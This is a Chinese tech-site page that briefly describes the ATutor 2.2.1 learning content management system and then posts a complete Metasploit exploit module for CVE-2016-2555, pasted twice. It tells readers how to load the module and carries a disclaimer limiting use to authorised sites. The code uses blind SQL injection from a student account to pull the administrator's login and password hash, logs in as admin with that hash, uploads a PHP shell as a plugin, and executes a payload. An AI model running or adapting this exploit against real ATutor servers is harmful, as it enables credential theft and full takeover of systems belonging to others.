教学内容管理系统ATutor 2.2.1注入漏洞
创始人
2025-01-27 18:10:36
0次

Atutor是一款开源的“教学内容管理系统”(Learning Content Management System,简称LCMS)。采用PHP、MySQL,HTTP Web 服务器推荐使用Apache。

[[163568]]

Atutor除了教学内容管理的功能,还包括了简化的论坛、聊天室等,另外通过模块安装,还可以扩展功能:

EWiki,ErFurtWiki在Atutor的实现;

ATalker,基于网页的文本朗读工具。

Atutor支持二十多种语言,包括中文,志愿者可以参加翻译等工作。

下面漏洞利用代码基于metasploit平台

使用方法:保存下面的代码,后缀名为.rb,然后放到metasploit脚本目录下,载入即可

以下代码具有攻击性,只做技术交流使用,使用在已经授权的网站,如果出现任何违法行为,本站概不负责。

  1.  
  2. 以下代码具有攻击性,只做技术交流使用,使用在已经授权的网站,如果出现任何违法行为,本站概不负责  
  3.  
  4. Ruby  
  5.  
  6. require 'msf/core' 
  7.    
  8. class Metasploit3 < Msf::Exploit::Remote  
  9.   Rank = ExcellentRanking  
  10.    
  11.   include Msf::Exploit::Remote::HttpClient  
  12.   include Msf::Exploit::FileDropper  
  13.    
  14.   def initialize(info={})  
  15.     super(update_info(info,  
  16.       'Name'           => 'ATutor 2.2.1 SQL Injection / Remote Code Execution',  
  17.       'Description'    => %q{  
  18.          This module exploits a SQL Injection vulnerability and an authentication weakness  
  19.          vulnerability in ATutor. This essentially means an attacker can bypass authenication  
  20.          and reach the administrators interface where they can upload malcious code.  
  21.    
  22.          You are required to login to the target to reach the SQL Injection, however this  
  23.          can be done as a student account and remote registration is enabled by default.  
  24.       },  
  25.       'License'        => MSF_LICENSE,  
  26.       'Author'         =>  
  27.         [  
  28.           'mr_me ', # initial discovery, msf code  
  29.         ],  
  30.       'References'     =>  
  31.         [  
  32.           [ 'CVE', '2016-2555'  ],  
  33.           [ 'URL', 'http://www.atutor.ca/' ] # Official Website  
  34.         ],  
  35.       'Privileged'     => false,  
  36.       'Payload'        =>  
  37.         {  
  38.           'DisableNops' => true,  
  39.         },  
  40.       'Platform'       => ['php'],  
  41.       'Arch'           => ARCH_PHP,  
  42.       'Targets'        => [[ 'Automatic', { }]],  
  43.       'DisclosureDate' => 'Mar 1 2016',  
  44.       'DefaultTarget'  => 0))  
  45.    
  46.     register_options(  
  47.       [  
  48.         OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),  
  49.         OptString.new('USERNAME', [true, 'The username to authenticate as']),  
  50.         OptString.new('PASSWORD', [true, 'The password to authenticate with'])  
  51.       ],self.class)  
  52.   end 
  53.    
  54.   def print_status(msg='')  
  55.     super("#{peer} - #{msg}")  
  56.   end 
  57.    
  58.   def print_error(msg='')  
  59.     super("#{peer} - #{msg}")  
  60.   end 
  61.    
  62.   def print_good(msg='')  
  63.     super("#{peer} - #{msg}")  
  64.   end 
  65.    
  66.   def check 
  67.     # the only way to test if the target is vuln  
  68.     begin 
  69.       test_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)  
  70.     rescue Msf::Exploit::Failed => e  
  71.       vprint_error(e.message)  
  72.       return Exploit::CheckCode::Unknown  
  73.     end 
  74.    
  75.     if test_injection(test_cookie)  
  76.       return Exploit::CheckCode::Vulnerable  
  77.     else 
  78.       return Exploit::CheckCode::Safe  
  79.     end 
  80.   end 
  81.    
  82.   def create_zip_file  
  83.     zip_file      = Rex::Zip::Archive.new  
  84.     @header       = Rex::Text.rand_text_alpha_upper(4)  
  85.     @payload_name = Rex::Text.rand_text_alpha_lower(4)  
  86.     @plugin_name  = Rex::Text.rand_text_alpha_lower(3)  
  87.    
  88.     path = "#{@plugin_name}/#{@payload_name}.php" 
  89.     register_file_for_cleanup("#{@payload_name}.php", "../../content/module/#{path}")  
  90.    
  91.     zip_file.add_file(path, "")  
  92.     zip_file.pack  
  93.   end 
  94.    
  95.   def exec_code  
  96.     send_request_cgi({  
  97.       'method'   => 'GET',  
  98.       'uri'      => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"),  
  99.       'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" 
  100.     })  
  101.   end 
  102.    
  103.   def upload_shell(cookie)  
  104.     post_data = Rex::MIME::Message.new  
  105.     post_data.add_part(create_zip_file, 'archive/zip', nil, "form-data; name=\"modulefile\"; filename=\"#{@plugin_name}.zip\"")  
  106.     post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"install_upload\"")  
  107.     data = post_data.to_s  
  108.     res = send_request_cgi({  
  109.       'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "install_modules.php"),  
  110.       'method' => 'POST',  
  111.       'data' => data,  
  112.       'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
  113.       'cookie' => cookie,  
  114.       'agent' => 'Mozilla' 
  115.     })  
  116.    
  117.     if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}")  
  118.        res = send_request_cgi({  
  119.          'method' => 'GET',  
  120.          'uri'    => normalize_uri(target_uri.path, "mods", "_core", "modules", res.redirection),  
  121.          'cookie' => cookie,  
  122.          'agent'  => 'Mozilla',  
  123.        })  
  124.        if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}")  
  125.           res = send_request_cgi({  
  126.             'method' => 'GET',  
  127.             'uri'    => normalize_uri(target_uri.path, "mods", "_core", "modules", "module_install_step_2.php?mod=#{@plugin_name}"),  
  128.             'cookie' => cookie,  
  129.             'agent'  => 'Mozilla',  
  130.           })  
  131.        return true 
  132.        end 
  133.     end 
  134.    
  135.     # auth failed if we land here, bail  
  136.     fail_with(Failure::Unknown, "Unable to upload php code")  
  137.     return false 
  138.   end 
  139.    
  140.   def get_hashed_password(token, password, bypass)  
  141.     if bypass  
  142.       return Rex::Text.sha1(password + token)  
  143.     else 
  144.       return Rex::Text.sha1(Rex::Text.sha1(password) + token)  
  145.     end 
  146.   end 
  147.    
  148.   def login(username, password, bypass)  
  149.     res = send_request_cgi({  
  150.       'method'   => 'GET',  
  151.       'uri'      => normalize_uri(target_uri.path, "login.php"),  
  152.       'agent' => 'Mozilla',  
  153.     })  
  154.    
  155.     token = $1 if res.body =~ /\) \+ \"(.*)\"\);/  
  156.     cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/  
  157.     if bypass  
  158.       password = get_hashed_password(token, password, true)  
  159.     else 
  160.       password = get_hashed_password(token, password, false)  
  161.     end 
  162.    
  163.     res = send_request_cgi({  
  164.       'method'   => 'POST',  
  165.       'uri'      => normalize_uri(target_uri.path, "login.php"),  
  166.       'vars_post' => {  
  167.         'form_password_hidden' => password,  
  168.         'form_login' => username,  
  169.         'submit' => 'Login' 
  170.       },  
  171.       'cookie' => cookie,  
  172.       'agent' => 'Mozilla' 
  173.     })  
  174.     cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/  
  175.    
  176.     # this is what happens when no state is maintained by the http client  
  177.     if res && res.code == 302  
  178.        if res.redirection.to_s.include?('bounce.php?course=0')  
  179.         res = send_request_cgi({  
  180.           'method'   => 'GET',  
  181.           'uri'      => normalize_uri(target_uri.path, res.redirection),  
  182.           'cookie' => cookie,  
  183.           'agent' => 'Mozilla' 
  184.         })  
  185.         cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/  
  186.         if res && res.code == 302 && res.redirection.to_s.include?('users/index.php')  
  187.            res = send_request_cgi({  
  188.              'method'   => 'GET',  
  189.              'uri'      => normalize_uri(target_uri.path, res.redirection),  
  190.              'cookie' => cookie,  
  191.              'agent' => 'Mozilla' 
  192.            })  
  193.            cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/  
  194.            return cookie  
  195.           end 
  196.        else res.redirection.to_s.include?('admin/index.php')  
  197.           # if we made it here, we are admin  
  198.           return cookie  
  199.        end 
  200.     end 
  201.    
  202.     # auth failed if we land here, bail  
  203.     fail_with(Failure::NoAccess, "Authentication failed with username #{username}")  
  204.     return nil  
  205.   end 
  206.    
  207.   def perform_request(sqli, cookie)  
  208.     # the search requires a minimum of 3 chars  
  209.     sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='" 
  210.     rand_key = Rex::Text.rand_text_alpha(1)  
  211.     res = send_request_cgi({  
  212.       'method'   => 'POST',  
  213.       'uri'      => normalize_uri(target_uri.path, "mods", "_standard", "social", "connections.php"),  
  214.       'vars_post' => {  
  215.         "search_friends_#{rand_key}" => sqli,  
  216.         'rand_key' => rand_key,  
  217.         'search' => 'Search People' 
  218.       },  
  219.       'cookie' => cookie,  
  220.       'agent' => 'Mozilla' 
  221.     })  
  222.     return res.body  
  223.   end 
  224.    
  225.    def dump_the_hash(cookie)  
  226.     extracted_hash = "" 
  227.     sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)" 
  228.     login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli, cookie).to_i  
  229.     for i in 1..login_and_hash_length  
  230.        sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))" 
  231.        asciival = generate_sql_and_test(false, false, sqli, cookie)  
  232.        if asciival >= 0  
  233.           extracted_hash << asciival.chr  
  234.        end 
  235.     end 
  236.     return extracted_hash.split(":")  
  237.   end 
  238.    
  239.   def get_ascii_value(sql, cookie)  
  240.     lower = 0  
  241.     upper = 126  
  242.     while lower < upper 
  243.        mid = (lower + upper) / 2  
  244.        sqli = "#{sql}>#{mid}" 
  245.        result = perform_request(sqli, cookie)  
  246.        if result =~ /There are \d entries./  
  247.         lower = mid + 1  
  248.        else 
  249.         upper = mid  
  250.        end 
  251.     end 
  252.     if lower > 0 and lower < 126  
  253.        value = lower 
  254.     else 
  255.        sqli = "#{sql}=#{lower}" 
  256.        result = perform_request(sqli, cookie)  
  257.        if result =~ /There are \d entries./  
  258.           value = lower 
  259.        end 
  260.     end 
  261.     return value  
  262.   end 
  263.    
  264.   def generate_sql_and_test(do_true=false, do_test=false, sql=nil, cookie)  
  265.     if do_test  
  266.       if do_true  
  267.         result = perform_request("1=1", cookie)  
  268.         if result =~ /There are \d entries./  
  269.           return true 
  270.         end 
  271.       else not do_true  
  272.         result = perform_request("1=2", cookie)  
  273.         if not result =~ /There are \d entries./  
  274.           return true 
  275.         end 
  276.       end 
  277.     elsif not do_test and sql  
  278.       return get_ascii_value(sql, cookie)  
  279.     end 
  280.   end 
  281.    
  282.   def test_injection(cookie)  
  283.     if generate_sql_and_test(do_true=true, do_test=true, sql=nil, cookie)  
  284.        if generate_sql_and_test(do_true=false, do_test=true, sql=nil, cookie)  
  285.         return true 
  286.        end 
  287.     end 
  288.     return false 
  289.   end 
  290.    
  291.   def report_cred(opts)  
  292.     service_data = {  
  293.       address: rhost,  
  294.       port: rport,  
  295.       service_name: ssl ? 'https' : 'http',  
  296.       protocol: 'tcp',  
  297.       workspace_id: myworkspace_id  
  298.     }  
  299.    
  300.     credential_data = {  
  301.       module_fullname: fullname,  
  302.       post_reference_name: self.refname,  
  303.       private_data: opts[:password],  
  304.       origin_type: :service,  
  305.       private_type: :password,  
  306.       username: opts[:user]  
  307.     }.merge(service_data)  
  308.    
  309.     login_data = {  
  310.       core: create_credential(credential_data),  
  311.       status: Metasploit::Model::Login::Status::SUCCESSFUL,  
  312.       last_attempted_at: Time.now  
  313.     }.merge(service_data)  
  314.    
  315.     create_credential_login(login_data)  
  316.   end 
  317.    
  318.   def exploit  
  319.     student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)  
  320.     print_status("Logged in as #{datastore['USERNAME']}, sending a few test injections...")  
  321.     report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])  
  322.    
  323.     print_status("Dumping username and password hash...")  
  324.     # we got admin hash now  
  325.     credz = dump_the_hash(student_cookie)  
  326.     print_good("Got the #{credz[0]} hash: #{credz[1]} !")  
  327.     if credz  
  328.       admin_cookie = login(credz[0], credz[1], true)  
  329.       print_status("Logged in as #{credz[0]}, uploading shell...")  
  330.       # install a plugin  
  331.       if upload_shell(admin_cookie)  
  332.         print_good("Shell upload successful!")  
  333.         # boom  
  334.         exec_code  
  335.       end 
  336.     end 
  337.   end 
  338. end 
  339. require 'msf/core' 
  340.    
  341. class Metasploit3 < Msf::Exploit::Remote  
  342.   Rank = ExcellentRanking  
  343.    
  344.   include Msf::Exploit::Remote::HttpClient  
  345.   include Msf::Exploit::FileDropper  
  346.    
  347.   def initialize(info={})  
  348.     super(update_info(info,  
  349.       'Name'           => 'ATutor 2.2.1 SQL Injection / Remote Code Execution',  
  350.       'Description'    => %q{  
  351.          This module exploits a SQL Injection vulnerability and an authentication weakness  
  352.          vulnerability in ATutor. This essentially means an attacker can bypass authenication  
  353.          and reach the administrators interface where they can upload malcious code.  
  354.    
  355.          You are required to login to the target to reach the SQL Injection, however this  
  356.          can be done as a student account and remote registration is enabled by default.  
  357.       },  
  358.       'License'        => MSF_LICENSE,  
  359.       'Author'         =>  
  360.         [  
  361.           'mr_me ', # initial discovery, msf code  
  362.         ],  
  363.       'References'     =>  
  364.         [  
  365.           [ 'CVE', '2016-2555'  ],  
  366.           [ 'URL', 'http://www.atutor.ca/' ] # Official Website  
  367.         ],  
  368.       'Privileged'     => false,  
  369.       'Payload'        =>  
  370.         {  
  371.           'DisableNops' => true,  
  372.         },  
  373.       'Platform'       => ['php'],  
  374.       'Arch'           => ARCH_PHP,  
  375.       'Targets'        => [[ 'Automatic', { }]],  
  376.       'DisclosureDate' => 'Mar 1 2016',  
  377.       'DefaultTarget'  => 0))  
  378.    
  379.     register_options(  
  380.       [  
  381.         OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),  
  382.         OptString.new('USERNAME', [true, 'The username to authenticate as']),  
  383.         OptString.new('PASSWORD', [true, 'The password to authenticate with'])  
  384.       ],self.class)  
  385.   end 
  386.    
  387.   def print_status(msg='')  
  388.     super("#{peer} - #{msg}")  
  389.   end 
  390.    
  391.   def print_error(msg='')  
  392.     super("#{peer} - #{msg}")  
  393.   end 
  394.    
  395.   def print_good(msg='')  
  396.     super("#{peer} - #{msg}")  
  397.   end 
  398.    
  399.   def check 
  400.     # the only way to test if the target is vuln  
  401.     begin 
  402.       test_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)  
  403.     rescue Msf::Exploit::Failed => e  
  404.       vprint_error(e.message)  
  405.       return Exploit::CheckCode::Unknown  
  406.     end 
  407.    
  408.     if test_injection(test_cookie)  
  409.       return Exploit::CheckCode::Vulnerable  
  410.     else 
  411.       return Exploit::CheckCode::Safe  
  412.     end 
  413.   end 
  414.    
  415.   def create_zip_file  
  416.     zip_file      = Rex::Zip::Archive.new  
  417.     @header       = Rex::Text.rand_text_alpha_upper(4)  
  418.     @payload_name = Rex::Text.rand_text_alpha_lower(4)  
  419.     @plugin_name  = Rex::Text.rand_text_alpha_lower(3)  
  420.    
  421.     path = "#{@plugin_name}/#{@payload_name}.php" 
  422.     register_file_for_cleanup("#{@payload_name}.php", "../../content/module/#{path}")  
  423.    
  424.     zip_file.add_file(path, "")  
  425.     zip_file.pack  
  426.   end 
  427.    
  428.   def exec_code  
  429.     send_request_cgi({  
  430.       'method'   => 'GET',  
  431.       'uri'      => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"),  
  432.       'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" 
  433.     })  
  434.   end 
  435.    
  436.   def upload_shell(cookie)  
  437.     post_data = Rex::MIME::Message.new  
  438.     post_data.add_part(create_zip_file, 'archive/zip', nil, "form-data; name=\"modulefile\"; filename=\"#{@plugin_name}.zip\"")  
  439.     post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"install_upload\"")  
  440.     data = post_data.to_s  
  441.     res = send_request_cgi({  
  442.       'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "install_modules.php"),  
  443.       'method' => 'POST',  
  444.       'data' => data,  
  445.       'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
  446.       'cookie' => cookie,  
  447.       'agent' => 'Mozilla' 
  448.     })  
  449.    
  450.     if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}")  
  451.        res = send_request_cgi({  
  452.          'method' => 'GET',  
  453.          'uri'    => normalize_uri(target_uri.path, "mods", "_core", "modules", res.redirection),  
  454.          'cookie' => cookie,  
  455.          'agent'  => 'Mozilla',  
  456.        })  
  457.        if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}")  
  458.           res = send_request_cgi({  
  459.             'method' => 'GET',  
  460.             'uri'    => normalize_uri(target_uri.path, "mods", "_core", "modules", "module_install_step_2.php?mod=#{@plugin_name}"),  
  461.             'cookie' => cookie,  
  462.             'agent'  => 'Mozilla',  
  463.           })  
  464.        return true 
  465.        end 
  466.     end 
  467.    
  468.     # auth failed if we land here, bail  
  469.     fail_with(Failure::Unknown, "Unable to upload php code")  
  470.     return false 
  471.   end 
  472.    
  473.   def get_hashed_password(token, password, bypass)  
  474.     if bypass  
  475.       return Rex::Text.sha1(password + token)  
  476.     else 
  477.       return Rex::Text.sha1(Rex::Text.sha1(password) + token)  
  478.     end 
  479.   end 
  480.    
  481.   def login(username, password, bypass)  
  482.     res = send_request_cgi({  
  483.       'method'   => 'GET',  
  484.       'uri'      => normalize_uri(target_uri.path, "login.php"),  
  485.       'agent' => 'Mozilla',  
  486.     })  
  487.    
  488.     token = $1 if res.body =~ /\) \+ \"(.*)\"\);/  
  489.     cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/  
  490.     if bypass  
  491.       password = get_hashed_password(token, password, true)  
  492.     else 
  493.       password = get_hashed_password(token, password, false)  
  494.     end 
  495.    
  496.     res = send_request_cgi({  
  497.       'method'   => 'POST',  
  498.       'uri'      => normalize_uri(target_uri.path, "login.php"),  
  499.       'vars_post' => {  
  500.         'form_password_hidden' => password,  
  501.         'form_login' => username,  
  502.         'submit' => 'Login' 
  503.       },  
  504.       'cookie' => cookie,  
  505.       'agent' => 'Mozilla' 
  506.     })  
  507.     cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/  
  508.    
  509.     # this is what happens when no state is maintained by the http client  
  510.     if res && res.code == 302  
  511.        if res.redirection.to_s.include?('bounce.php?course=0')  
  512.         res = send_request_cgi({  
  513.           'method'   => 'GET',  
  514.           'uri'      => normalize_uri(target_uri.path, res.redirection),  
  515.           'cookie' => cookie,  
  516.           'agent' => 'Mozilla' 
  517.         })  
  518.         cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/  
  519.         if res && res.code == 302 && res.redirection.to_s.include?('users/index.php')  
  520.            res = send_request_cgi({  
  521.              'method'   => 'GET',  
  522.              'uri'      => normalize_uri(target_uri.path, res.redirection),  
  523.              'cookie' => cookie,  
  524.              'agent' => 'Mozilla' 
  525.            })  
  526.            cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/  
  527.            return cookie  
  528.           end 
  529.        else res.redirection.to_s.include?('admin/index.php')  
  530.           # if we made it here, we are admin  
  531.           return cookie  
  532.        end 
  533.     end 
  534.    
  535.     # auth failed if we land here, bail  
  536.     fail_with(Failure::NoAccess, "Authentication failed with username #{username}")  
  537.     return nil  
  538.   end 
  539.    
  540.   def perform_request(sqli, cookie)  
  541.     # the search requires a minimum of 3 chars  
  542.     sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='" 
  543.     rand_key = Rex::Text.rand_text_alpha(1)  
  544.     res = send_request_cgi({  
  545.       'method'   => 'POST',  
  546.       'uri'      => normalize_uri(target_uri.path, "mods", "_standard", "social", "connections.php"),  
  547.       'vars_post' => {  
  548.         "search_friends_#{rand_key}" => sqli,  
  549.         'rand_key' => rand_key,  
  550.         'search' => 'Search People' 
  551.       },  
  552.       'cookie' => cookie,  
  553.       'agent' => 'Mozilla' 
  554.     })  
  555.     return res.body  
  556.   end 
  557.    
  558.    def dump_the_hash(cookie)  
  559.     extracted_hash = "" 
  560.     sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)" 
  561.     login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli, cookie).to_i  
  562.     for i in 1..login_and_hash_length  
  563.        sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))" 
  564.        asciival = generate_sql_and_test(false, false, sqli, cookie)  
  565.        if asciival >= 0  
  566.           extracted_hash << asciival.chr  
  567.        end 
  568.     end 
  569.     return extracted_hash.split(":")  
  570.   end 
  571.    
  572.   def get_ascii_value(sql, cookie)  
  573.     lower = 0  
  574.     upper = 126  
  575.     while lower < upper 
  576.        mid = (lower + upper) / 2  
  577.        sqli = "#{sql}>#{mid}" 
  578.        result = perform_request(sqli, cookie)  
  579.        if result =~ /There are \d entries./  
  580.         lower = mid + 1  
  581.        else 
  582.         upper = mid  
  583.        end 
  584.     end 
  585.     if lower > 0 and lower < 126  
  586.        value = lower 
  587.     else 
  588.        sqli = "#{sql}=#{lower}" 
  589.        result = perform_request(sqli, cookie)  
  590.        if result =~ /There are \d entries./  
  591.           value = lower 
  592.        end 
  593.     end 
  594.     return value  
  595.   end 
  596.    
  597.   def generate_sql_and_test(do_true=false, do_test=false, sql=nil, cookie)  
  598.     if do_test  
  599.       if do_true  
  600.         result = perform_request("1=1", cookie)  
  601.         if result =~ /There are \d entries./  
  602.           return true 
  603.         end 
  604.       else not do_true  
  605.         result = perform_request("1=2", cookie)  
  606.         if not result =~ /There are \d entries./  
  607.           return true 
  608.         end 
  609.       end 
  610.     elsif not do_test and sql  
  611.       return get_ascii_value(sql, cookie)  
  612.     end 
  613.   end 
  614.    
  615.   def test_injection(cookie)  
  616.     if generate_sql_and_test(do_true=true, do_test=true, sql=nil, cookie)  
  617.        if generate_sql_and_test(do_true=false, do_test=true, sql=nil, cookie)  
  618.         return true 
  619.        end 
  620.     end 
  621.     return false 
  622.   end 
  623.    
  624.   def report_cred(opts)  
  625.     service_data = {  
  626.       address: rhost,  
  627.       port: rport,  
  628.       service_name: ssl ? 'https' : 'http',  
  629.       protocol: 'tcp',  
  630.       workspace_id: myworkspace_id  
  631.     }  
  632.    
  633.     credential_data = {  
  634.       module_fullname: fullname,  
  635.       post_reference_name: self.refname,  
  636.       private_data: opts[:password],  
  637.       origin_type: :service,  
  638.       private_type: :password,  
  639.       username: opts[:user]  
  640.     }.merge(service_data)  
  641.    
  642.     login_data = {  
  643.       core: create_credential(credential_data),  
  644.       status: Metasploit::Model::Login::Status::SUCCESSFUL,  
  645.       last_attempted_at: Time.now  
  646.     }.merge(service_data)  
  647.    
  648.     create_credential_login(login_data)  
  649.   end 
  650.    
  651.   def exploit  
  652.     student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)  
  653.     print_status("Logged in as #{datastore['USERNAME']}, sending a few test injections...")  
  654.     report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])  
  655.    
  656.     print_status("Dumping username and password hash...")  
  657.     # we got admin hash now  
  658.     credz = dump_the_hash(student_cookie)  
  659.     print_good("Got the #{credz[0]} hash: #{credz[1]} !")  
  660.     if credz  
  661.       admin_cookie = login(credz[0], credz[1], true)  
  662.       print_status("Logged in as #{credz[0]}, uploading shell...")  
  663.       # install a plugin  
  664.       if upload_shell(admin_cookie)  
  665.         print_good("Shell upload successful!")  
  666.         # boom  
  667.         exec_code  
  668.       end 
  669.     end 
  670.   end 
  671. end 
  672.    
  673.  

 

相关内容

热门资讯

PHP新手之PHP入门 PHP是一种易于学习和使用的服务器端脚本语言。只需要很少的编程知识你就能使用PHP建立一个真正交互的...
网络中立的未来 网络中立性是什... 《牛津词典》中对“网络中立”的解释是“电信运营商应秉持的一种原则,即不考虑来源地提供所有内容和应用的...
各种千兆交换机的数据接口类型详... 千兆交换机有很多值得学习的地方,这里我们主要介绍各种千兆交换机的数据接口类型,作为局域网的主要连接设...
粉嫩如何诠释霸道 东芝M805... “霸道粉”是个什么玩意东芝M805拿过来的时候,笔者扑哧笑了,不是笑这款笔记本,而是笑这款产品的颜色...
如何利用交换机和端口设置来管理... 在网络管理中,总是有些人让管理员头疼。下面我们就将介绍一下一个网管员利用交换机以及端口设置等来进行D...
什么是大数据安全 什么是大数据... 在《为什么需要大数据安全分析》一文中,我们已经阐述了一个重要观点,即:安全要素信息呈现出大数据的特征...
只需三步,让你掌握阿尔法路由器... 请参照以下阿尔法路由器设置方法,通过浏览器进入及设置宽带路由器。经过这三个步骤的设置,基本上能够熟悉...
如何更省钱? 近期特价热门硒鼓... 如今激光打印设备已经成为商务或企业的绝对主力办公设备,但采购者往往忽视了激光打印设备所用的耗材,相对...
全面诠释网络负载均衡 负载均衡的出现大大缓解了服务器的压力,更是有效的利用了资源,提高了效率。那么我们现在来说一下网络负载...
如何允许远程连接到MySQL数... [[277004]]【51CTO.com快译】默认情况下,MySQL服务器仅侦听来自localhos...